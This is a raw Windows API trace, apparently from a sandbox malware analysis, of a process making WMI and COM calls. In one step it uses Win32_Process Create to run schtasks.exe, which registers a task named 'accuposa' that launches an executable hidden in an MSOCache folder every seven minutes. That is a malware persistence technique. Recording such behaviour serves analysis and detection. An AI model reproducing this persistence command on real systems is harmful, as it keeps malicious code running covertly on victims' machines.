WbemDefPath:IWbemPath:SetText (This=0x1b4b08a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af3a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b08a0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0122.135] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af3a0) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b08a0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b08a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b08a0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0122.135] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af3a0, uIndex=0x0, pszName="root") returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b08a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b08a0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0122.135] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af3a0, uIndex=0x1, pszName="cimv2") returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b08a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b08a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af3a0, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af3a0, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af3a0, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0122.135] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0122.136] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.136] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0122.136] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0122.136] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.136] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af3a0, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0122.136] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x1d, pszText=0x0) returned 0x0 [0122.136] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=4, puBuffLength=0x1b30d590*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0122.136] CoGetContextToken (in: pToken=0x1b30cea0 | out: pToken=0x1b30cea0) returned 0x0 [0122.136] WbemLocator:IUnknown:AddRef (This=0x1b5101f8) returned 0x3 [0122.136] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cea0 | out: ppvObject=0x1b30cea0*=0x1b5101f8) returned 0x0 [0122.136] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x3 [0122.136] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x2 [0122.136] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0122.136] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af3a0, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0122.136] IWbemServices:GetObject (in: This=0x1b4cfc70, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d520*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d520*=0x1b4d7c70, ppCallResult=0x0) returned 0x0 [0122.139] IWbemClassObject:GetMethod (in: This=0x1b4d7c70, wszName="Create", lFlags=0, ppInSignature=0x1b30d618, ppOutSignature=0x1b30d610 | out: ppInSignature=0x1b30d618*=0x1b4d9ed0, ppOutSignature=0x1b30d610*=0x1b4da240) returned 0x0 [0122.139] IWbemClassObject:SpawnInstance (in: This=0x1b4d9ed0, lFlags=0, ppNewInstance=0x1b30d628 | out: ppNewInstance=0x1b30d628*=0x1b4d12b0) returned 0x0 [0122.140] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841218*=0, plFlavor=0x284121c*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841218*=8, plFlavor=0x284121c*=32) returned 0x0 [0122.140] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841218*=8, plFlavor=0x284121c*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2841218*=8, plFlavor=0x284121c*=32) returned 0x0 [0122.140] IWbemClassObject:Put (This=0x1b4d12b0, wszName="CommandLine", lFlags=0, pVal=0x1b30d590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="schtasks.exe /create /tn \"accuposa\" /sc MINUTE /mo 7 /tr \"'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'\" /f", varVal2=0x0), Type=0) returned 0x0 [0122.140] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d500*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28412a8*=0, plFlavor=0x28412ac*=0 | out: pVal=0x1b30d500*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28412a8*=13, plFlavor=0x28412ac*=32) returned 0x0 [0122.140] IWbemClassObject:Get (in: This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28412a8*=13, plFlavor=0x28412ac*=32 | out: pVal=0x1b30d530*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28412a8*=13, plFlavor=0x28412ac*=32) returned 0x0 [0122.140] IUnknown:QueryInterface (in: This=0x1b4da5b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ce00 | out: ppvObject=0x1b30ce00*=0x1b4da5b0) returned 0x0 [0122.140] IUnknown:QueryInterface (in: This=0x1b4da5b0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30ce90 | out: ppvObject=0x1b30ce90*=0x0) returned 0x80004002 [0122.140] IUnknown:QueryInterface (in: This=0x1b4da5b0, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0122.141] IUnknown:QueryInterface (in: This=0x1b4da5b0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c688 | out: ppvObject=0x1b30c688*=0x0) returned 0x80004002 [0122.141] IUnknown:AddRef (This=0x1b4da5b0) returned 0x3 [0122.141] IUnknown:QueryInterface (in: This=0x1b4da5b0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c548 | out: ppvObject=0x1b30c548*=0x0) returned 0x80004002 [0122.141] IUnknown:QueryInterface (in: This=0x1b4da5b0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c4d0 | out: ppvObject=0x1b30c4d0*=0x0) returned 0x80004002 [0122.141] IUnknown:QueryInterface (in: This=0x1b4da5b0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c4c0 | out: ppvObject=0x1b30c4c0*=0x1b4da5b8) returned 0x0 [0122.141] IMarshal:GetUnmarshalClass (in: This=0x1b4da5b8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c4e8 | out: pCid=0x1b30c4e8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0122.141] IUnknown:Release (This=0x1b4da5b8) returned 0x3 [0122.141] CoGetContextToken (in: pToken=0x1b30c570 | out: pToken=0x1b30c570) returned 0x0 [0122.141] CoGetContextToken (in: pToken=0x1b30c9f0 | out: pToken=0x1b30c9f0) returned 0x0 [0122.141] IUnknown:QueryInterface (in: This=0x1b4da5b0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cab0 | out: ppvObject=0x1b30cab0*=0x0) returned 0x80004002 [0122.141] IUnknown:Release (This=0x1b4da5b0) returned 0x2 [0122.141] CoGetContextToken (in: pToken=0x1b30ca20 | out: pToken=0x1b30ca20) returned 0x0 [0122.141] CoGetContextToken (in: pToken=0x1b30c920 | out: pToken=0x1b30c920) returned 0x0 [0122.141] IUnknown:QueryInterface (in: This=0x1b4da5b0, riid=0x1b30ca80*(Data1=0x805e3b62, Data2=0xb5e9, Data3=0x393d, Data4=([0]=0x89, [1]=0x41, [2]=0x37, [3]=0x7d, [4]=0x8b, [5]=0xf4, [6]=0x55, [7]=0x6b)), ppvObject=0x1b30ca50 | out: ppvObject=0x1b30ca50*=0x0) returned 0x80004002 [0122.142] CoGetContextToken (in: pToken=0x1b30cbb0 | out: pToken=0x1b30cbb0) returned 0x0 [0122.142] IUnknown:QueryInterface (in: This=0x1b4da5b0, riid=0x7ffa5f025148*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cc80 | out: ppvObject=0x1b30cc80*=0x0) returned 0x80004002 [0122.142] CoGetContextToken (in: pToken=0x1b30cc40 | out: pToken=0x1b30cc40) returned 0x0 [0122.142] IUnknown:AddRef (This=0x1b4da5b0) returned 0x3 [0122.142] IWbemClassObject:Put (This=0x1b4d12b0, wszName="ProcessStartupInformation", lFlags=0, pVal=0x1b30d590*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1b4da5b0, varVal2=0x0), Type=0) returned 0x0 [0122.142] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afa60, puCount=0x1b30d648 | out: puCount=0x1b30d648*=0x2) returned 0x0 [0122.142] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afa60, lFlags=4, puBuffLength=0x1b30d640*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d640*=0x22, pszText=0x0) returned 0x0 [0122.142] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afa60, lFlags=4, puBuffLength=0x1b30d640*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d640*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0122.142] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4aefe0, puCount=0x1b30d588 | out: puCount=0x1b30d588*=0x2) returned 0x0 [0122.142] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d580*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d580*=0xf, pszText=0x0) returned 0x0 [0122.142] WbemDefPath:IWbemPath:GetText (in: This=0x1b4aefe0, lFlags=4, puBuffLength=0x1b30d580*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d580*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0122.142] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0122.142] WbemLocator:IUnknown:AddRef (This=0x1b5101f8) returned 0x3 [0122.142] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b5101f8) returned 0x0 [0122.142] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x3 [0122.142] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x2 [0122.142] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0122.142] WbemLocator:IUnknown:AddRef (This=0x1b5101f8) returned 0x3 [0122.142] WbemLocator:IUnknown:QueryInterface (in: This=0x1b5101f8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf50 | out: ppvObject=0x1b30cf50*=0x1b5101f8) returned 0x0 [0122.143] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x3 [0122.143] WbemLocator:IUnknown:Release (This=0x1b5101f8) returned 0x2 [0122.143] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afa60, lFlags=2, puBuffLength=0x1b30d650*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d650*=0xe, pszText=0x0) returned 0x0 [0122.143] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afa60, lFlags=2, puBuffLength=0x1b30d650*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d650*=0xe, pszText="Win32_Process") returned 0x0 [0122.143] IWbemServices:ExecMethod (in: This=0x1b4cfc70, strObjectPath="Win32_Process", strMethodName="Create", lFlags=0, pCtx=0x0, pInParams=0x1b4d12b0, ppOutParams=0x1b30d5c0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1b30d5c0*=0x1b469f40, ppCallResult=0x0) returned 0x0 [0122.225] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessId", lFlags=0, pVal=0x1b30d590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28415b8*=0, plFlavor=0x28415bc*=0 | out: pVal=0x1b30d590*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1238, varVal2=0x0), pType=0x28415b8*=19, plFlavor=0x28415bc*=0) returned 0x0 [0122.225] IWbemClassObject:Get (in: This=0x1b469f40, wszName="ProcessId", lFlags=0, pVal=0x1b30d5a0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28415b8*=19, plFlavor=0x28415bc*=0 | out: pVal=0x1b30d5a0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1238, varVal2=0x0), pType=0x28415b8*=19, plFlavor=0x28415bc*=0) returned 0x0 [0122.225] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0122.225] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0122.225] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0122.225] IUnknown:Release (This=0x6124e8) returned 0x1 [0122.226] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30ca38 | out: ppv=0x1b30ca38*=0x1b4d1fa0) returned 0x0 [0122.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d1fa0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cb20 | out: ppvObject=0x1b30cb20*=0x0) returned 0x80004002 [0122.226] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d1fa0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caf8 | out: ppvObject=0x1b30caf8*=0x1b4b0060) returned 0x0 [0122.226] WbemDefPath:IUnknown:Release (This=0x1b4d1fa0) returned 0x0 [0122.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8a0 | out: ppvObject=0x1b30c8a0*=0x1b4b0060) returned 0x0 [0122.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c930 | out: ppvObject=0x1b30c930*=0x0) returned 0x80004002 [0122.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0122.227] WbemDefPath:IUnknown:AddRef (This=0x1b4b0060) returned 0x3 [0122.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0122.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0122.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b4d2060) returned 0x0 [0122.227] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2060, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0122.227] WbemDefPath:IUnknown:Release (This=0x1b4d2060) returned 0x3 [0122.227] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0122.227] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0122.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0122.227] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x2 [0122.227] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x1 [0122.227] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0122.227] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0122.227] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0060, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x1b4b0060) returned 0x0 [0122.227] WbemDefPath:IUnknown:AddRef (This=0x1b4b0060) returned 0x3 [0122.228] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x2 [0122.228] WbemDefPath:IWbemPath:SetText (This=0x1b4b0060, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0122.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0060, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0122.228] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0060, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0xe, pszText=0x0) returned 0x0 [0122.228] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0060, lFlags=2, puBuffLength=0x1b30d690*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d690*=0xe, pszText="Win32_Process") returned 0x0 [0122.228] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0060, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0122.228] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0060, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0122.228] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0060, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0122.228] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d648 | out: ppv=0x1b30d648*=0x6124e8) returned 0x0 [0122.228] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d638 | out: pAptType=0x1b30d638*=1) returned 0x0 [0122.228] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d640 | out: ppvObject=0x1b30d640*=0x0) returned 0x80004002 [0122.228] IUnknown:Release (This=0x6124e8) returned 0x1 